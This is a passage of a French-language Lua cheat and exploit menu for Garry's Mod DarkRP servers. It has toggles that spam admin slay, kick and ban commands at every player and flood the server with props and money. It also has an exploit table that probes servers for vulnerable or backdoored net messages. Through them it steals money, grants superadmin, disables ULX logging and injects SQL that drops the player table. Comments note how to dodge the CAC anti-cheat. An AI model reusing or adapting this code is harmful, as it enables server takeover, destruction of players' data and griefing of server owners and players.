  5300. timer.Destroy("animating")
  5301. timer.Create("animating", 2, 0, function() RunConsoleCommand("_DarkRP_DoAnimation", "1611") end)
  5302. elseif animating=="vient" then
  5303. animating = "rire"
  5304. animatinginfo = "Rire"
  5305. timer.Destroy("animating")
  5306. timer.Create("animating", 2, 0, function() RunConsoleCommand("_DarkRP_DoAnimation", "1618") end)
  5307. elseif animating=="rire" then
  5308. animating = "non"
  5309. animatinginfo = "Non"
  5310. timer.Destroy("animating")
  5311. timer.Create("animating", 2, 0, function() RunConsoleCommand("_DarkRP_DoAnimation", "1613") end)
  5312. elseif animating=="non" then
  5313. animating = "victoire"
  5314. animatinginfo = "Victoire"
  5315. timer.Destroy("animating")
  5316. timer.Create("animating", 2, 0, function() RunConsoleCommand("_DarkRP_DoAnimation", "1610") end)
  5317. elseif animating=="victoire" then
  5318. animating = "coucou"
  5319. animatinginfo = "Coucou"
  5320. timer.Destroy("animating")
  5321. timer.Create("animating", 2, 0, function() RunConsoleCommand("_DarkRP_DoAnimation", "1615") end)
  5322. elseif animating=="coucou" then
  5323. animating = false
  5324. animatinginfo = "Désactiver"
  5325. timer.Destroy("animating")
  5326. end
  5327. end
  5328. function ULXspam ()
  5329. if !ulxspam then
  5330. ulxspam = "Slay"
  5331. info_ulx_spam = "Slay"
  5332. timer.Create("ulxspam", 0.4, 0, function() ply:ConCommand("ulx slay @") end)
  5333. elseif ulxspam=="Slay" then
  5334. ulxspam = "Ignite"
  5335. info_ulx_spam = "Ignite"
  5336. timer.Destroy("ulxspam")
  5337. timer.Create("ulxspam", 0.4, 0, function() ply:ConCommand("ulx ignite @") end)
  5338. elseif ulxspam=="Ignite" then
  5339. ulxspam = "Maul"
  5340. info_ulx_spam = "Maul"
  5341. timer.Destroy("ulxspam")
  5342. timer.Create("ulxspam", 0.4, 0, function() ply:ConCommand("ulx maul @") end)
  5343. elseif ulxspam=="Maul" then
  5344. ulxspam = "Ragdoll"
  5345. info_ulx_spam = "Ragdoll"
  5346. timer.Destroy("ulxspam")
  5347. timer.Create("ulxspam", 0.4, 0, function() ply:ConCommand("ulx ragdoll @") end)
  5348. elseif ulxspam=="Ragdoll" then
  5349. ulxspam = "Whip"
  5350. info_ulx_spam = "Whip"
  5351. timer.Destroy("ulxspam")
  5352. timer.Create("ulxspam", 0.4, 0, function() ply:ConCommand("ulx whip @ 100") end)
  5353. elseif ulxspam=="Whip" then
  5354. ulxspam = "Sound"
  5355. info_ulx_spam = "Sound"
  5356. timer.Destroy("ulxspam")
  5357. timer.Create("ulxspam", 3, 0, function() ply:ConCommand("ulx playsound earthquake.mp3") end)
  5358. elseif ulxspam=="Sound" then
  5359. ulxspam = "Kick"
  5360. info_ulx_spam = "Kick"
  5361. timer.Destroy("ulxspam")
  5362. timer.Create("ulxspam", 0.4, 0, function() ply:ConCommand("ulx kick @ 0 Go apprendre a proteger votre serv les enfants x)") end)
  5363. elseif ulxspam=="Kick" then
  5364. ulxspam = "Ban"
  5365. info_ulx_spam = "Ban"
  5366. timer.Destroy("ulxspam")
  5367. timer.Create("ulxspam", 0.4, 0, function() ply:ConCommand("ulx ban @ 0 Go apprendre a proteger votre serv les enfants x)") end)
  5368. elseif ulxspam then
  5369. ulxspam = false
  5370. info_ulx_spam = "Désactiver"
  5371. timer.Destroy("ulxspam")
  5372. end
  5373. end
  5374. function PropSpam()
  5375. if !propspam then
  5376. propspam = "Vitesse 1"
  5377. spam_props_text = "Vitesse 1"
  5378. timer.Create("propspam", 3.50, 0, function() ply:ConCommand("gm_spawn models/props_phx/wheels/metal_wheel2.mdl") end)
  5379. timer.Create("propspam1", 2.00, 0, function() ply:ConCommand("gm_spawn models/props_phx/wheels/metal_wheel1.mdl") end)
  5380. elseif propspam=="Vitesse 1" then
  5381. propspam = "Vitesse 2"
  5382. spam_props_text = "Vitesse 2"
  5383. timer.Destroy("propspam")
  5384. timer.Destroy("propspam1")
  5385. timer.Create("propspam", 2.80, 0, function() ply:ConCommand("gm_spawn models/props_phx/wheels/metal_wheel2.mdl") end)
  5386. timer.Create("propspam1", 1.20, 0, function() ply:ConCommand("gm_spawn models/props_phx/wheels/metal_wheel1.mdl") end)
  5387. elseif propspam=="Vitesse 2" then
  5388. propspam = "Vitesse 3"
  5389. spam_props_text = "Vitesse 3"
  5390. timer.Destroy("propspam")
  5391. timer.Destroy("propspam1")
  5392. timer.Create("propspam", 0.88, 0, function() ply:ConCommand("gm_spawn models/props_phx/wheels/metal_wheel2.mdl") end)
  5393. timer.Create("propspam1", 0.42, 0, function() ply:ConCommand("gm_spawn models/props_phx/wheels/metal_wheel1.mdl") end)
  5394. elseif propspam=="Vitesse 3" then
  5395. propspam = "Mega Spam"
  5396. spam_props_text = "Big-Spam"
  5397. timer.Destroy("propspam")
  5398. timer.Destroy("propspam1")
  5399. timer.Create("propspam", 0.4, 0, function()
  5400. ply:ConCommand("gm_spawn models/props_buildings/building_002a.mdl")
  5401. ply:ConCommand("gm_spawn models/props_buildings/collapsedbuilding01a.mdl")
  5402. ply:ConCommand("gm_spawn models/props_buildings/project_building01.mdl")
  5403. ply:ConCommand("gm_spawn models/props_buildings/row_church_fullscale.mdl")
  5404. ply:ConCommand("gm_spawn models/props_buildings/project_destroyedbuildings01.mdl")
  5405. ply:ConCommand("gm_spawn models/props_buildings/watertower_002a.mdl")
  5406. ply:ConCommand("models/props_buildings/project_destroyedbuildings01.mdl")
  5407. ply:ConCommand("models/props_wasteland/bridge_side03-other.mdl")
  5408. ply:ConCommand("models/props_wasteland/bridge_side03.mdl")
  5409. ply:ConCommand("models/props_wasteland/rockgranite04c.mdl")
  5410. ply:ConCommand("models/props_docks/prefab_piling01a.mdl")
  5411. ply:ConCommand("models/props_c17/overpass_001b.mdl")
  5412. ply:ConCommand("models/props_c17/overpass_001a.mdl")
  5413. ply:ConCommand("models/props_c17/overhaingcluster_001a.mdl")
  5414. ply:ConCommand("models/props_wasteland/tugtop001.mdl")
  5415. ply:ConCommand("models/props_wasteland/tugtop002.mdl")
  5416. end)
  5417. elseif propspam then
  5418. propspam = false
  5419. superspamingTabCol = red
  5420. spam_props_text = "Désactiver"
  5421. timer.Destroy("propspam")
  5422. end
  5423. end
  5424. function Moneyssuperspam()
  5425. if !moneyspam then
  5426. moneyspam = "Drop"
  5427. billet_spam = "Drop 1€"
  5428. timer.Create("moneyspam", 0.1, 0, function() RunConsoleCommand( "say", "/moneydrop 1") end)
  5429. elseif moneyspam=="Drop" then
  5430. moneyspam = "Give1euro"
  5431. billet_spam = "Give 1€"
  5432. timer.Create("moneyspam", 0.1, 0, function() RunConsoleCommand( "say", "/give 1") end)
  5433. elseif moneyspam=="Give1euro" then
  5434. moneyspam = "Dropmillion"
  5435. billet_spam = "Drop 1 Million"
  5436. timer.Destroy("moneyspam")
  5437. timer.Create("moneyspam", 0.1, 0, function() RunConsoleCommand( "say", "/moneydrop 1000000") end)
  5438. elseif moneyspam=="Dropmillion" then
  5439. moneyspam = "Givemillion"
  5440. billet_spam = "Give 1 Million"
  5441. timer.Destroy("moneyspam")
  5442. timer.Create("moneyspam", 0.1, 0, function() RunConsoleCommand( "say", "/give 1000000") end)
  5443. elseif moneyspam=="Givemillion" then
  5444. moneyspam = "Dropmax"
  5445. billet_spam = "Drop 1 Milliard"
  5446. timer.Destroy("moneyspam")
  5447. timer.Create("moneyspam", 0.1, 0, function() RunConsoleCommand( "say", "/moneydrop 1000000000") end)
  5448. elseif moneyspam=="Dropmax" then
  5449. moneyspam = "Give"
  5450. billet_spam = "Give 1 Milliard"
  5451. timer.Destroy("moneyspam")
  5452. timer.Create("moneyspam", 0.1, 0, function() RunConsoleCommand( "say", "/give 1000000000") end)
  5453. elseif moneyspam then
  5454. moneyspam = false
  5455. billet_spam = "Désactiver"
  5456. timer.Destroy("moneyspam")
  5457. end
  5458. end
  5459. local removes = {"env_steam",
  5460. "func_illusionary",
  5461. "beam",
  5462. "class C_BaseEntity",
  5463. "env_sprite",
  5464. "class C_ShadowControl",
  5465. "class C_ClientRagdoll",
  5466. "func_illusionary",
  5467. "class C_PhysPropClientside",
  5468. }
  5469. function StopLAG()
  5470. if !stoplag then
  5471. stoplag = "Activer"
  5472. RunConsoleCommand("r_3dsky", 0)
  5473. RunConsoleCommand("r_WaterDrawReflection", 0)
  5474. RunConsoleCommand("r_waterforcereflectentities", 0)
  5475. RunConsoleCommand("r_teeth", 0)
  5476. RunConsoleCommand("r_shadows", 0)
  5477. RunConsoleCommand("r_ropetranslucent", 0)
  5478. RunConsoleCommand("r_maxmodeldecal", 0) --50
  5479. RunConsoleCommand("r_maxdlights", 0)--32
  5480. RunConsoleCommand("r_decals", 0)--2048
  5481. RunConsoleCommand("r_drawmodeldecals", 0)
  5482. RunConsoleCommand("r_drawdetailprops", 0)
  5483. RunConsoleCommand("r_worldlights", 0)
  5484. RunConsoleCommand("r_flashlightrender", 0)
  5485. RunConsoleCommand("cl_forcepreload", 1)
  5486. RunConsoleCommand("r_threaded_renderables", 1)
  5487. RunConsoleCommand("r_threaded_client_shadow_manager", 1)
  5488. RunConsoleCommand("snd_mix_async", 1)
  5489. RunConsoleCommand("cl_ejectbrass", 0)
  5490. RunConsoleCommand("cl_detaildist", 0)
  5491. RunConsoleCommand("cl_show_splashes", 0)
  5492. RunConsoleCommand("gmod_mcore_test", 1)
  5493. RunConsoleCommand("mat_filterlightmaps", 0)
  5494. RunConsoleCommand("mat_queue_mode", -1)
  5495. RunConsoleCommand("r_drawflecks", 0)
  5496. RunConsoleCommand("r_dynamic", 0)
  5497. RunConsoleCommand("r_WaterDrawRefraction", 0)
  5498. RunConsoleCommand("cl_threaded_bone_setup", 1)
  5499. ZNX.ChatText( "FPS Booster Activer", Color(255,205,205))
  5500. for k,v in pairs(removes) do
  5501. for a,b in pairs(ents.FindByClass(v)) do
  5502. b:SetNoDraw(true)
  5503. end
  5504. end
  5505. elseif stoplag then
  5506. stoplag = false
  5507. RunConsoleCommand("r_3dsky", 0)
  5508. RunConsoleCommand("r_WaterDrawReflection", 1)
  5509. RunConsoleCommand("r_waterforcereflectentities", 1)
  5510. RunConsoleCommand("r_teeth", 1)
  5511. RunConsoleCommand("r_shadows", 1)
  5512. RunConsoleCommand("r_ropetranslucent", 1)
  5513. RunConsoleCommand("r_maxmodeldecal", 50) --50
  5514. RunConsoleCommand("r_maxdlights", 32)--32
  5515. RunConsoleCommand("r_decals", 2048)--2048
  5516. RunConsoleCommand("r_drawmodeldecals", 1)
  5517. RunConsoleCommand("r_drawdetailprops", 1)
  5518. RunConsoleCommand("r_decal_cullsize", 1000)
  5519. RunConsoleCommand("r_worldlights", 1)
  5520. RunConsoleCommand("r_flashlightrender", 1)
  5521. RunConsoleCommand("cl_forcepreload", 0)
  5522. RunConsoleCommand("cl_ejectbrass", 1)
  5523. RunConsoleCommand("cl_show_splashes", 1)
  5524. RunConsoleCommand("cl_detaildist", 1200)
  5525. RunConsoleCommand("gmod_mcore_test", 1)
  5526. RunConsoleCommand("mat_filterlightmaps", 1)
  5527. RunConsoleCommand("r_threaded_renderables", 0)
  5528. RunConsoleCommand("r_threaded_client_shadow_manager", 0)
  5529. RunConsoleCommand("mat_queue_mode", -1)
  5530. RunConsoleCommand("r_drawflecks", 1)
  5531. RunConsoleCommand("r_WaterDrawRefraction", 1)
  5532. RunConsoleCommand("cl_threaded_bone_setup", 1)
  5533. RunConsoleCommand("r_dynamic", 1)
  5534. ZNX.ChatText( "FPS Booster Désactiver", Color(255,205,205))
  5535. for k,v in pairs(removes) do
  5536. for a,b in pairs(ents.FindByClass(v)) do
  5537. b:SetNoDraw(false)
  5538. end
  5539. end
  5540. end
  5541. end
  5542. function physicgunspeed ()
  5543. if !physicspeed then
  5544. physicspeed = true
  5545. RunConsoleCommand("physgun_wheelspeed", 9999)
  5546. ChatPrint("Vitesse du Physic-Gun: 9999")
  5547. elseif physicspeed then
  5548. physicspeed = false
  5549. RunConsoleCommand("physgun_wheelspeed", 10)
  5550. ChatPrint("Vitesse du Physic-Gun: 10")
  5551. end
  5552. end
  5553. function umsghook(ucmd)
  5554. if ZNX.Vars.AutoReload then
  5555. local wep = LocalPlayer():GetActiveWeapon()
  5556. if (LocalPlayer():Alive() and IsValid(wep)) then
  5557. if (wep:Clip1() <= 1 and wep:GetMaxClip1() > 0 and !table.HasValue(shitweapons, LocalPlayer():GetActiveWeapon():GetClass()) and CurTime() > wep:GetNextPrimaryFire()) then
  5558. ucmd:SetButtons(ucmd:GetButtons() + IN_RELOAD)
  5559. end
  5560. end
  5561. end
  5562. if( ZNX.Vars.Autoclick and !ZNX.Vars.RopeStorm and !ZNX.Vars.Triggerbot and !ZNX.Vars.AutoShoot) then
  5563. local Wep = LocalPlayer():GetActiveWeapon()
  5564. if (LocalPlayer():Alive() and IsValid(Wep)) then
  5565. if ZNX.Vars.AutoReload then maxclipsizaautoreload = 1 else maxclipsizaautoreload = 0 end
  5566. if Wep:GetMaxClip1() > 0 and Wep:Clip1() > maxclipsizaautoreload then
  5567. if (input.IsMouseDown(MOUSE_LEFT)) then
  5568. if (Wep:GetNextPrimaryFire() >= CurTime()) then
  5569. ucmd:RemoveKey(IN_ATTACK)
  5570. end
  5571. end
  5572. end
  5573. end
  5574. end
  5575. end
  5576. hook.Add("CreateMove","Reload",umsghook)
  5577. function ExecuteCmd( contents )
  5578. RunString( contents )
  5579. end
  5580. -- A Jour :
  5581.  
  5582. timer.Create("timerversionchecker",10,1,function()
  5583. hook.Remove("HUDPaint", "HudVersionChecker")
  5584. end)
  5585. hook.Add("HUDPaint", "HudVersionChecker", function()
  5586. draw.SimpleTextOutlined( "Bonjour "..steamworks.GetPlayerName( LocalPlayer():SteamID64() )..", tu as la dernière version du menu", "HUDLogo2", ScrW()/2 + math.sin(RealTime()) * ScrW() / 85, ScrH()/30, Color( 19, 242, 37,255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(0,0,0,255) )
  5587. end)
  5588. local hideHUDElements = {
  5589. ["DarkRP_HUD"] = false,
  5590. ["DarkRP_LocalPlayerHUD"] = false,
  5591. ["DarkRP_EntityDisplay"] = true,
  5592. ["DarkRP_ZombieInfo"] = false,
  5593. ["DarkRP_Hungermod"] = false,
  5594. ["DarkRP_Agenda"] = false,
  5595. ["CHudHealth"] = true,
  5596. ["CHudBattery"] = true,
  5597. ["CHudSuitPower"] = true,
  5598. ["CHudAmmo"] = false,
  5599. ["CHudSecondaryAmmo"] = false,
  5600. }
  5601. --hook.Add("HUDShouldDraw", "GraphiteHideDef", function(name)
  5602. --[[if hideHUDElements[name] then return false end
  5603. end)
  5604. -- Début code détéctable par cac
  5605. else -- ne pas toucher cac check else
  5606. for i = 1, 30 do
  5607. MsgC( Color( 255, 0, 0 ), "[GIZEH MENU]: !! CAKE ANTI-CHEAT !! DETECTER MENU DESACTIVE POUR EVITER LE KICK/BAN" )
  5608. end
  5609. end -- ne pas toucher cac checker end
  5610. -- Fin code détéctable par cac]]
  5611.  
  5612. local Lokidev = nil
  5613. local RatesScaleLevel = LocalPlayer():SteamID()
  5614. local iZNX = {}
  5615. iZNX.memory = {}
  5616. local grad = Material( "gui/gradient" )
  5617. local upgrad = Material( "gui/gradient_up" )
  5618. local downgrad = Material( "gui/gradient_down" )
  5619. local ctext = chat.AddText
  5620. function iZNX.ChatText( str )
  5621. ctext( Color(190, 190, 190), [[ [Lokidev Menu v1.7]: ]]..str )
  5622. end
  5623. function iZNX.NetStart( str )
  5624. local netstart = net.Start
  5625. if Lokidev and Lokidev.G and Lokidev.G.net then
  5626. netstart = Lokidev.G.net.Start
  5627. else
  5628. -- print( "sending netmessage in insecure mode" )
  5629. end
  5630. return netstart( str )
  5631. end
  5632. function iZNX.ValidNetString( str )
  5633. local netstart = net.Start
  5634. if Lokidev and Lokidev.G and Lokidev.G.net then
  5635. netstart = Lokidev.G.net.Start
  5636. else
  5637. -- print( "scanning for exploit in insecure mode" )
  5638. end
  5639. local status, error = pcall( netstart, str )
  5640. return status
  5641. end
  5642. function iZNX.ValidNetString( str )
  5643. local status, error = pcall( net.Start, str )
  5644. return status
  5645. end
  5646. iZNX.sploits = {}
  5647. local severitycols = {
  5648. [1] = Color( 80, 80, 120 ),
  5649. [2] = Color( 80, 120, 80 ),
  5650. [3] = Color( 150, 90, 50 ),
  5651. [4] = Color( 150, 50, 0 ),
  5652. }
  5653. function iZNX.AddExploit( name, tab )
  5654. if !isstring( name ) then print("U FUCKED UP A SPLOIT RETARD") return end
  5655. if !istable( tab ) then print("U FUCKED UP A SPLOIT RETARD") return end
  5656. iZNX.sploits[name] = tab
  5657. end
  5658. function iZNX.IsStored( addr )
  5659. return iZNX.memory[addr] != nil
  5660. end
  5661. function iZNX.GetStored( addr, fallback )
  5662. if fallback and iZNX.memory[addr] == nil then return fallback end
  5663. return iZNX.memory[addr]
  5664. end
  5665. function iZNX.Store( addr, val )
  5666. iZNX.memory[addr] = val
  5667. end
  5668. function iZNX.GetAllStored()
  5669. return iZNX.memory
  5670. end
  5671. function iZNX.GetAllStoredData()
  5672. local ret = {}
  5673. for k, v in pairs( iZNX.memory ) do
  5674. if !istable( v ) then ret[k] = v end
  5675. end
  5676. return ret
  5677. end
  5678. function iZNX.LoadConfig()
  5679. local f = file.Read( "Lokidev_exploit.dat", "DATA" )
  5680. if !f then iZNX.ChatText( "T'AS PAS SAVE DE CONFIG SALE TRIZOMIQUE" ) end
  5681. local raw = util.Decompress( f )
  5682. local garbage = util.JSONToTable( raw )
  5683. table.Merge( iZNX.memory, garbage )
  5684. -- iZNX.memory = garbage
  5685. iZNX.Menu:Remove()
  5686. iZNX.ChatText( "Fichier de configuration chargé" )
  5687. end
  5688. function iZNX.SaveConfig()
  5689. local myturds = util.TableToJSON( iZNX.GetAllStoredData() )
  5690. if !myturds then return end
  5691. local cumpressed = util.Compress( myturds )
  5692. file.Write( "Lokidev_exploit.dat", cumpressed )
  5693. iZNX.ChatText( "Fichier de configuration sauvegardé" )
  5694. end
  5695. iZNX.AddExploit( "€ Customizable Printers Money Stealer €", {
  5696. desc = "Vole instantanément tout l'argent de chaque Printer sur le serveur",
  5697. severity = 3,
  5698. scan = function() return iZNX.ValidNetString( "SyncPrinterButtons76561198056171650" ) end,
  5699. functions = {
  5700. { typ = "func", name = "Prendre", func = function()
  5701. if !timer.Exists( "Lokidev_exploit_shekels" ) then
  5702. iZNX.ChatText( "Vole de l'argent lancé" )
  5703. timer.Create( "Lokidev_exploit_shekels", 0.1, 0, function()
  5704. for k, v in pairs(ents.GetAll()) do
  5705. if( v:GetClass():find("print") ) then
  5706. iZNX.NetStart( "SyncPrinterButtons76561198056171650" )
  5707. net.WriteEntity(v)
  5708. net.WriteUInt(2, 4)
  5709. net.SendToServer()
  5710. end
  5711. end
  5712. end)
  5713. else
  5714. timer.Remove( "Lokidev_exploit_shekels" )
  5715. iZNX.ChatText( "Vole de l'argent stoppé" )
  5716. end
  5717. end, },
  5718. },
  5719. } )
  5720. iZNX.AddExploit( "ULX Friends Spam", {
  5721. desc = "Spams tout le monde sur le serveur avec un message",
  5722. severity = 1,
  5723. scan = function() return (iZNX.ValidNetString( "sendtable" ) and ulx and ulx.friends ) end,
  5724. functions = {
  5725. { typ = "string", name = "Entrer un message", default = "Bitch please", addr = "fr_spamstring" },
  5726. { typ = "players", addr = "fr_players" },
  5727. { typ = "func", name = "Big Spam", func = function()
  5728. if !timer.Exists( "bigspams" ) then
  5729. iZNX.ChatText( "big spam lancé" )
  5730. timer.Create( "bigspams", 0.5, 0, function()
  5731. local t = iZNX.GetStored( "fr_players", {} )
  5732. for k, v in pairs( player.GetAll() ) do
  5733. if !table.HasValue( t, v ) then continue end
  5734. local buyit = {}
  5735. for i = 1, 15 do
  5736. table.insert( buyit, iZNX.GetStored( "fr_spamstring", "Bitch please" ) )
  5737. end
  5738. iZNX.NetStart( "sendtable" )
  5739. net.WriteEntity( v )
  5740. net.WriteTable( buyit )
  5741. net.SendToServer()
  5742. end
  5743. end)
  5744. else
  5745. timer.Remove( "bigspams" )
  5746. iZNX.ChatText( "big spam stoppé" )
  5747. end
  5748. end, },
  5749. },
  5750. } )
  5751. iZNX.AddExploit( "Console Erreur Spammer", {
  5752. desc = "Défonce le serveur rcon avec des erreurs massive )",
  5753. severity = 1,
  5754. scan = function() return iZNX.ValidNetString( "steamid2" ) end,
  5755. functions = {
  5756. { typ = "func", name = "Big Spam", func = function()
  5757. if !timer.Exists( "Lokidev_exploit_errorz" ) then
  5758. iZNX.ChatText( "erreur spam lancé" )
  5759. timer.Create( "Lokidev_exploit_errorz", 0.1, 0, function()
  5760. iZNX.NetStart( "steamid2" )
  5761. net.WriteString( "Something is creating very strong script errors" )
  5762. net.SendToServer()
  5763. end)
  5764. else
  5765. timer.Remove( "Lokidev_exploit_errorz" )
  5766. iZNX.ChatText( "erreur spam stoppé" )
  5767. end
  5768. end, },
  5769. },
  5770. } )
  5771. iZNX.AddExploit( "Turbo Erreur Spammer", {
  5772. desc = "Défonce le serveur rcon avec des erreurs massive.",
  5773. severity = 2,
  5774. scan = function() return iZNX.ValidNetString( "steamid2" ) end,
  5775. functions = {
  5776. { typ = "func", name = "Big Spam", func = function()
  5777. if !timer.Exists( "Lokidev_exploit_errorzt" ) then
  5778. iZNX.ChatText( "erreur spam lancé" )
  5779. timer.Create( "Lokidev_exploit_errorzt", 0, 0, function()
  5780. for i = 1, 100 do
  5781. iZNX.NetStart( "steamid2" )
  5782. net.WriteString( "Something is creating very strong script errors" )
  5783. net.SendToServer()
  5784. end
  5785. end)
  5786. else
  5787. timer.Remove( "Lokidev_exploit_errorzt" )
  5788. iZNX.ChatText( "erreur spam stoppé" )
  5789. end
  5790. end, },
  5791. },
  5792. } )
  5793. iZNX.AddExploit( "€ Kun Drug €", {
  5794. desc = "Exploit d'argent",
  5795. severity = 3,
  5796. scan = function() return iZNX.ValidNetString( "Kun_SellDrug" ) end,
  5797. functions = {
  5798. { typ = "func", name = "Lancer", func = function()
  5799. if !timer.Exists( "Lokidev_exploit_selldrugon" ) then
  5800. iZNX.ChatText( "Exploit lancé" )
  5801. timer.Create( "Lokidev_exploit_selldrugon", 0, 0, function()
  5802. for i=1,1000 do
  5803. iZNX.NetStart("Kun_SellDrug")
  5804. net.WriteString("mushroom")
  5805. net.SendToServer()
  5806. end
  5807. end)
  5808. else
  5809. timer.Remove( "Lokidev_exploit_selldrugon" )
  5810. iZNX.ChatText( "Exploit stoppé" )
  5811. end
  5812. end, },
  5813. },
  5814. } )
  5815. iZNX.AddExploit( "Point Shop Unbox", {
  5816. desc = "Exploit a téster",
  5817. severity = 2,
  5818. scan = function() return iZNX.ValidNetString( "net_PSUnBoxServer" ) end,
  5819. functions = {
  5820. { typ = "func", name = "Lancer", func = function()
  5821. for k,v in pairs(player.GetAll()) do
  5822. local i = 0
  5823. for k2,v2 in pairs(PS.Items) do
  5824. if !v:PS_HasItem(v2.ID) then
  5825. timer.Simple(k*i*1.7,function()
  5826. iZNX.NetStart("net_PSUnBoxServer")
  5827. net.WriteEntity(v)
  5828. net.WriteString(v2.ID)
  5829. net.SendToServer()
  5830. end)
  5831. i = i + 1
  5832. end
  5833. end
  5834. end
  5835. end, },
  5836. },
  5837. } )
  5838. iZNX.AddExploit( "☢ Give Superadmin ☢", {
  5839. desc = "Donnez le superadmin aux gens (rejoignez pour que cela prenne effet)",
  5840. severity = 4,
  5841. scan = function() return iZNX.ValidNetString( "pplay_deleterow" ) end,
  5842. functions = {
  5843. { typ = "players", addr = "l_superadmins" },
  5844. { typ = "func", name = "Lancer", func = function()
  5845. local t = iZNX.GetStored( "l_superadmins", {} )
  5846. for k, v in pairs( player.GetAll() ) do
  5847. if !table.HasValue( t, v ) then continue end
  5848. local id = v:SteamID()
  5849. local tbl = {}
  5850. tbl.name = "FAdmin_PlayerGroup"
  5851. tbl.where = {
  5852. "steamid",
  5853. tostring(id)
  5854. }
  5855. iZNX.NetStart("pplay_deleterow")
  5856. net.WriteTable(tbl)
  5857. net.SendToServer()
  5858. local tbl = {}
  5859. tbl.tblname = "FAdmin_PlayerGroup"
  5860. tbl.tblinfo = {
  5861. tostring(id),
  5862. "superadmin"
  5863. }
  5864. iZNX.NetStart("pplay_addrow")
  5865. net.WriteTable(tbl)
  5866. net.SendToServer()
  5867. iZNX.ChatText( "superadmin donné à "..v:Nick() )
  5868. end
  5869. end, },
  5870. },
  5871. } )
  5872. local thefrenchenculer = ""
  5873. if iZNX.ValidNetString( "Sandbox_ArmDupe" ) then
  5874. thefrenchenculer = "Sandbox_ArmDupe"
  5875. else
  5876. end
  5877. if iZNX.ValidNetString( "OFF_Ragdoll" ) then
  5878. thefrenchenculer = "OFF_Ragdoll"
  5879. else
  5880. if iZNX.ValidNetString( "WhySoSeriuz_Team" ) then
  5881. thefrenchenculer = "WhySoSeriuz_Team"
  5882. else
  5883. if iZNX.ValidNetString( "WhySoSeriuz_StigiT" ) then
  5884. thefrenchenculer = "WhySoSeriuz_StigiT"
  5885. else
  5886. if iZNX.ValidNetString( "Fix_Keypads" ) then
  5887. thefrenchenculer = "Fix_Keypads"
  5888. else
  5889. if iZNX.ValidNetString( "Remove_Exploiters" ) then
  5890. thefrenchenculer = "Remove_Exploiters"
  5891. else
  5892. if iZNX.ValidNetString( "noclipcloakaesp_chat_text" ) then
  5893. thefrenchenculer = "noclipcloakaesp_chat_text"
  5894. else
  5895. if iZNX.ValidNetString( "_Defqon" ) then
  5896. thefrenchenculer = "_Defqon"
  5897. else
  5898. if iZNX.ValidNetString( "_CAC_ReadMemory" ) then
  5899. thefrenchenculer = "_CAC_ReadMemory"
  5900. else
  5901. if iZNX.ValidNetString( "nostrip" ) then
  5902. thefrenchenculer = "nostrip"
  5903. else
  5904. if iZNX.ValidNetString( "Inj3" ) then
  5905. thefrenchenculer = "Inj3"
  5906. else
  5907. if iZNX.ValidNetString( "LickMeOut" ) then
  5908. thefrenchenculer = "LickMeOut"
  5909. else
  5910. if iZNX.ValidNetString( "MoonMan" ) then
  5911. thefrenchenculer = "MoonMan"
  5912. if iZNX.ValidNetString( "Im_SOCool" ) then
  5913. thefrenchenculer = "Im_SOCool"
  5914. end
  5915. end
  5916. end
  5917. end
  5918. end
  5919. end
  5920. end
  5921. end
  5922. end
  5923. end
  5924. end
  5925. end
  5926. iZNX.AddExploit( ".NET Backdoor", {
  5927. desc = "Backdoor trés puissant, ENLEVE LES LOGS POUR ETRE PLUS DISCRET, Backdoor :"..thefrenchenculer.."",
  5928. severity = 4,
  5929. scan = function() return iZNX.ValidNetString( thefrenchenculer ) end,
  5930. functions = {
  5931. { typ = "func", name = "ENLEVER LES LOGS", func = function()
  5932. iZNX.NetStart(thefrenchenculer)
  5933. net.WriteString( "RunConsoleCommand(\"ulx_logecho\", \"0\")" )
  5934. net.WriteBit(1)
  5935. net.SendToServer()
  5936. end, },
  5937. { typ = "htxcommandeliste", name = "Commandes Liste" },
  5938. { typ = "players", addr = "give_superadmins" },
  5939. { typ = "func", name = "<- Superadmin", func = function()
  5940. local t = iZNX.GetStored( "give_superadmins", {} )
  5941. for k, v in pairs( player.GetAll() ) do
  5942. if !table.HasValue( t, v ) then continue end
  5943. local id = v:SteamID()
  5944. iZNX.NetStart(thefrenchenculer)
  5945. net.WriteString( "ulx adduserid STEAM_0:0:158012556 superadmin" )
  5946. net.WriteBit(false)
  5947. net.SendToServer()
  5948. end
  5949. end, },
  5950. },
  5951. } )
  5952. iZNX.AddExploit( "☢ Niquer la base de donné SQL ☢", {
  5953. desc = "Vandalisez la base de données darkrp master SQL, effaçant toutes les données des joueurs, vous devez être superamin !!",
  5954. severity = 4,
  5955. scan = function() return iZNX.ValidNetString( "pplay_sendtable" ) end,
  5956. functions = {
  5957. { typ = "func", name = "Lancer", func = function()
  5958. local tbl = {}
  5959. tbl.tblname = "darkrp_door; DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)"
  5960. tbl.ply = LocalPlayer()
  5961. iZNX.NetStart("pplay_sendtable")
  5962. net.WriteTable(tbl)
  5963. net.SendToServer()
  5964. iZNX.ChatText( "Base de données SQL Server détruite" )
  5965. end, },
  5966. },
  5967. } )
  5968. iZNX.AddExploit( "Niquer les Data du serveur", {
  5969. desc = "Vandalise le data du serveur, va probablement ennuyer leurs fils de pute de dev x)",
  5970. severity = 3,
  5971. scan = function() return iZNX.ValidNetString( "WriteQuery" ) end,
  5972. functions = {
  5973. { typ = "func", name = "Lancer", func = function()
  5974. if !timer.Exists( "Lokidev_exploit_datatrasher" ) then
  5975. iZNX.ChatText( "Démarrage du spam du dossier data" )
  5976. timer.Create( "Lokidev_exploit_datatrasher", 0.5, 0, function()
  5977. iZNX.NetStart( "WriteQuery" )
  5978. net.WriteString( "BAN ME -> "..LocalPlayer():SteamID()..string.rep( "!", math.random( 1, 5000 ) ) )
  5979. net.SendToServer()
  5980. end)
  5981. else
  5982. timer.Remove( "Lokidev_exploit_datatrasher" )
  5983. iZNX.ChatText( "Spam du dossier data Stopper" )
  5984. end
  5985. end, },
  5986. },
  5987. } )
  5988. -- Patched
  5989. --[[iZNX.AddExploit( "Turbo Chat Spam", {
  5990. desc = "Gros spam, extrêmement ennuyeux",
  5991. severity = 1,
  5992. scan = function() return iZNX.ValidNetString( "VJSay" ) end,
  5993. functions = {
  5994. { typ = "string", name = "Entrer un message", default = "LokidevMenu", addr = "vj_spamstring" },
  5995. { typ = "string", name = "Entrer un son", default = "vo/npc/male01/hacks01.wav", addr = "vj_spamsound" },
  5996. { typ = "func", name = "Big Spam", func = function()
  5997. if !timer.Exists( "bigspamsvj" ) then
  5998. iZNX.ChatText( "big spam lancé" )
  5999. timer.Create( "bigspamsvj", 0.1, 0, function()
